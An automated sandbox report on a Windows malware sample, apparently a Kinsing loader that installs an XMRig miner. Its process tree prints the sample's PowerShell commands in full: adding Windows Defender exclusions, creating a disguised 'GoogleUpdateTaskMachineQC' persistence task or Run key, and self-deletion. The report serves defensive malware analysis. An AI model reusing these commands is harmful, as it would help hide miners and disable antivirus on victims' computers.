Resubmissions

25/01/2024, 16:55

240125-vfcyksbhgr10

24/01/2024, 17:15

240124-vstf4aecaj10

23/01/2024, 19:27

240123-x6cfvagbd910

23/01/2024, 19:27

240123-x6bvbafgem10

23/01/2024, 19:27

240123-x6bjjsgbd810

23/01/2024, 19:27

240123-x6ax1sfgek10

23/01/2024, 19:27

240123-x6abgsfgej10

23/01/2024, 19:27

240123-x591qagbd710

23/01/2024, 19:27

240123-x59d7agbd610

23/01/2024, 19:27

240123-x584esgbd510

Analysis

  • max time kernel
    1805s
  • max time network
    1812s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/01/2024, 19:27

General

  • Target
    grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
  • Size 2.0MB
  • Sample240123-x591qagbd7
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Kinsing

    Kinsing is a loader written in Golang.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 29 IoCs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 29 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3440
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:1984
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1852
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1128
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:5056
        • C:\Windows\System32\choice.exe
          choice /C Y /N /D Y /T 3
          3⤵
            PID:3132
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:3532
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
            3⤵
              PID:4100
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:3492
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:3760
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:2880
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:1072
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
              • Detects videocard installed
              PID:1052
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:452
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
              PID:1128
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:3500

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 2.0MB
                • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
                • MD5 SHA1 SHA512 SSDEEP

                g.log

                • Path C:\Program Files\Google\Libs\g.log
                • Size 226B
                • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 95d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 0991af4f64c5a4c3ae20f84e957518e667e3a3ac603a0e90e48bfacd92f6b6da
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_dnlhbftt.hbs.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dnlhbftt.hbs.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 4KB
                • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-NonInteractive

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
                • MD5 SHA1 SHA512

                memory/1128-130-0x00007FF6C9C40000-0x00007FF6CA434000-memory.dmp

                memory/1128-135-0x00007FF6C9C40000-0x00007FF6CA434000-memory.dmp

                memory/1128-159-0x00007FF6C9C40000-0x00007FF6CA434000-memory.dmp

                memory/1128-157-0x00007FF6C9C40000-0x00007FF6CA434000-memory.dmp

                memory/1128-155-0x00007FF6C9C40000-0x00007FF6CA434000-memory.dmp

                memory/1128-32-0x0000020C3E010000-0x0000020C3E020000-memory.dmp

                memory/1128-33-0x0000020C3E010000-0x0000020C3E020000-memory.dmp

                memory/1128-35-0x00007FFE25700000-0x00007FFE261C1000-memory.dmp

                memory/1128-153-0x00007FF6C9C40000-0x00007FF6CA434000-memory.dmp

                memory/1128-194-0x00007FF6C9C40000-0x00007FF6CA434000-memory.dmp

                memory/1128-192-0x00007FF6C9C40000-0x00007FF6CA434000-memory.dmp

                memory/1128-187-0x00007FF6C9C40000-0x00007FF6CA434000-memory.dmp

                memory/1128-151-0x00007FF6C9C40000-0x00007FF6CA434000-memory.dmp

                memory/1128-149-0x00007FF6C9C40000-0x00007FF6CA434000-memory.dmp

                memory/1128-185-0x00007FF6C9C40000-0x00007FF6CA434000-memory.dmp

                memory/1128-147-0x00007FF6C9C40000-0x00007FF6CA434000-memory.dmp

                memory/1128-145-0x00007FF6C9C40000-0x00007FF6CA434000-memory.dmp

                memory/1128-144-0x00000216948C0000-0x00000216948E0000-memory.dmp

                memory/1128-143-0x00000216948E0000-0x0000021694900000-memory.dmp

                memory/1128-141-0x00007FF6C9C40000-0x00007FF6CA434000-memory.dmp

                memory/1128-139-0x00007FF6C9C40000-0x00007FF6CA434000-memory.dmp

                memory/1128-137-0x00000216948C0000-0x00000216948E0000-memory.dmp

                memory/1128-136-0x00000216948E0000-0x0000021694900000-memory.dmp

                memory/1128-19-0x00007FFE25700000-0x00007FFE261C1000-memory.dmp

                memory/1128-133-0x00007FF6C9C40000-0x00007FF6CA434000-memory.dmp

                memory/1128-183-0x00007FF6C9C40000-0x00007FF6CA434000-memory.dmp

                memory/1128-131-0x0000021694400000-0x0000021694420000-memory.dmp

                memory/1128-161-0x00007FF6C9C40000-0x00007FF6CA434000-memory.dmp

                memory/1128-128-0x0000021694380000-0x00000216943A0000-memory.dmp

                memory/1128-163-0x00007FF6C9C40000-0x00007FF6CA434000-memory.dmp

                memory/1128-165-0x00007FF6C9C40000-0x00007FF6CA434000-memory.dmp

                memory/1128-181-0x00007FF6C9C40000-0x00007FF6CA434000-memory.dmp

                memory/1128-20-0x0000020C3E010000-0x0000020C3E020000-memory.dmp

                memory/1128-179-0x00007FF6C9C40000-0x00007FF6CA434000-memory.dmp

                memory/1128-167-0x00007FF6C9C40000-0x00007FF6CA434000-memory.dmp

                memory/1128-177-0x00007FF6C9C40000-0x00007FF6CA434000-memory.dmp

                memory/1128-169-0x00007FF6C9C40000-0x00007FF6CA434000-memory.dmp

                memory/1128-175-0x00007FF6C9C40000-0x00007FF6CA434000-memory.dmp

                memory/1128-173-0x00007FF6C9C40000-0x00007FF6CA434000-memory.dmp

                memory/1128-171-0x00007FF6C9C40000-0x00007FF6CA434000-memory.dmp

                memory/1852-11-0x00007FFE25700000-0x00007FFE261C1000-memory.dmp

                memory/1852-12-0x00000269F6F80000-0x00000269F6F90000-memory.dmp

                memory/1852-17-0x00007FFE25700000-0x00007FFE261C1000-memory.dmp

                memory/1852-6-0x00000269F68C0000-0x00000269F68E2000-memory.dmp

                memory/1852-14-0x00000269F6F80000-0x00000269F6F90000-memory.dmp

                memory/1852-13-0x00000269F6F80000-0x00000269F6F90000-memory.dmp

                memory/1984-37-0x00007FF702BC0000-0x00007FF702DD1000-memory.dmp

                memory/1984-0-0x00007FF702BC0000-0x00007FF702DD1000-memory.dmp

                memory/1984-31-0x00007FF702BC0000-0x00007FF702DD1000-memory.dmp

                memory/2880-132-0x00007FF6B8EE0000-0x00007FF6B8EF6000-memory.dmp

                memory/2880-138-0x00007FF6B8EE0000-0x00007FF6B8EF6000-memory.dmp

                memory/3492-84-0x000001826EC90000-0x000001826EC98000-memory.dmp

                memory/3492-55-0x00007FFE25700000-0x00007FFE261C1000-memory.dmp

                memory/3492-80-0x000001826ECA0000-0x000001826ECBC000-memory.dmp

                memory/3492-77-0x000001826EA60000-0x000001826EA7C000-memory.dmp

                memory/3492-67-0x00007FF487400000-0x00007FF487410000-memory.dmp

                memory/3492-57-0x000001826C680000-0x000001826C690000-memory.dmp

                memory/3492-56-0x000001826C680000-0x000001826C690000-memory.dmp

                memory/3492-81-0x000001826EC80000-0x000001826EC8A000-memory.dmp

                memory/3492-83-0x000001826ECE0000-0x000001826ECFA000-memory.dmp

                memory/3492-79-0x000001826EA50000-0x000001826EA5A000-memory.dmp

                memory/3492-85-0x000001826ECC0000-0x000001826ECC6000-memory.dmp

                memory/3492-86-0x000001826ECD0000-0x000001826ECDA000-memory.dmp

                memory/3492-78-0x000001826EA80000-0x000001826EB35000-memory.dmp

                memory/3492-87-0x000001826C680000-0x000001826C690000-memory.dmp

                memory/3492-90-0x00007FFE25700000-0x00007FFE261C1000-memory.dmp

                memory/3500-54-0x00007FF7970D0000-0x00007FF7972E1000-memory.dmp

                memory/3500-127-0x00007FF7970D0000-0x00007FF7972E1000-memory.dmp

                memory/3500-82-0x00007FF7970D0000-0x00007FF7972E1000-memory.dmp

                memory/3532-38-0x00007FFE25700000-0x00007FFE261C1000-memory.dmp

                memory/3532-39-0x000001FC3AFB0000-0x000001FC3AFC0000-memory.dmp

                memory/3532-40-0x000001FC3AFB0000-0x000001FC3AFC0000-memory.dmp

                memory/3532-53-0x00007FFE25700000-0x00007FFE261C1000-memory.dmp

                memory/3760-105-0x000001F2663A0000-0x000001F2663B0000-memory.dmp

                memory/3760-94-0x000001F2663A0000-0x000001F2663B0000-memory.dmp

                memory/3760-93-0x000001F2663A0000-0x000001F2663B0000-memory.dmp

                memory/3760-92-0x00007FFE25700000-0x00007FFE261C1000-memory.dmp

                memory/3760-116-0x000001F268840000-0x000001F2688F5000-memory.dmp

                memory/3760-115-0x00007FF417630000-0x00007FF417640000-memory.dmp

                memory/3760-117-0x000001F2663A0000-0x000001F2663B0000-memory.dmp

                memory/3760-118-0x000001F2663A0000-0x000001F2663B0000-memory.dmp

                memory/3760-120-0x00007FFE25700000-0x00007FFE261C1000-memory.dmp